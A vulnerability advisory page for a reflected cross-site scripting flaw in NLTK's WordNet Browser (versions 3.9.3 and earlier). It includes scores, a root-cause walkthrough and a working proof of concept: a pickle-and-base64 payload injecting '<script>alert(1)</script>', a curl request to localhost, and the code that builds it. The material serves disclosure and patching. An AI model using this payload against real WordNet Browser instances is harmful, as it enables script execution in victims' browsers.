6.1medium
nltk Vulnerable to Cross-site Scripting
- Severity
- 6.1medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.38% (higher than 33% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-gfwx-w7gr-fvh7PYSEC-2026-2235
Description
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| nltk nltk | <= 3.9.3, up to 3.9.3 | CVE List, NVD |
| nltk (PyPI) | before 3.9.4 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| GitHub | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| PyPA Advisory Database | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.
GitHub Advisory Database
Summary
nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details
The vulnerable flow is in nltk/app/wordnet_app.py:
-
nltk/app/wordnet_app.py:144- Requests starting with
lookup_are handled as HTML responses: page, word = page_from_href(sp)
- Requests starting with
-
nltk/app/wordnet_app.py:755page_from_href()callspage_from_reference(Reference.decode(href))
-
nltk/app/wordnet_app.py:769word = href.word
-
nltk/app/wordnet_app.py:796- If no results are found,
wordis inserted directly into the HTML body: body = "The word or words '%s' were not found in the dictionary." % word
- If no results are found,
This is inconsistent with the search route, which does escape user input:
nltk/app/wordnet_app.py:136word = html.escape(...)
As a result, a malicious lookup_... payload can inject script into the response page.
The issue is exploitable because:
Reference.decode()accepts attacker-controlled base64-encoded pickle data for the URL state.- The decoded
wordis reflected into HTML withouthtml.escape(). - The server is started with
HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not justlocalhost.
PoC
- Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
- Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})
Encoded payload:
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
- Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
- Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.
127
I also validated the issue directly at function level in Docker:
import base64
import pickle
from nltk.app.wordnet_app import page_from_href
payload = base64.urlsafe_b64encode(
pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()
page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)
Observed output:
WORD= <script>alert(1)</script>
HAS_SCRIPT= True
Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab
- manipulate the page content shown to the user
- issue same-origin requests to other WordNet Browser routes
- potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.
NVD (es)
NLTK (Natural Language Toolkit) es un conjunto de módulos Python de código abierto, conjuntos de datos y tutoriales que apoyan la investigación y el desarrollo en Procesamiento del Lenguaje Natural. En las versiones 3.9.3 y anteriores, `nltk.app.wordnet_app` contiene una vulnerabilidad de cross-site scripting reflejado en la ruta 'lookup_...'. Una URL 'lookup_' manipulada puede inyectar HTML/JavaScript arbitrario en la página de respuesta porque los datos 'word' controlados por el atacante se reflejan en HTML sin escapar. Esto afecta a los usuarios que ejecutan el servidor local de WordNet Browser y puede conducir a la ejecución de scripts en el origen del navegador de esa aplicación. El commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f corrige la vulnerabilidad.
References
| https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7 | evidence, exploit, vendor-advisory, web | |
| https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f | fix, patch, web | |
| https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e | fix, patch, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-33230 | advisory | |
| https://github.com/nltk/nltk | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-33230 changed 2026-03-24 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-gfwx-w7gr-fvh7 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-33230 changed 2026-06-17 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2235 changed 2026-07-13 | CC-BY-4.0 |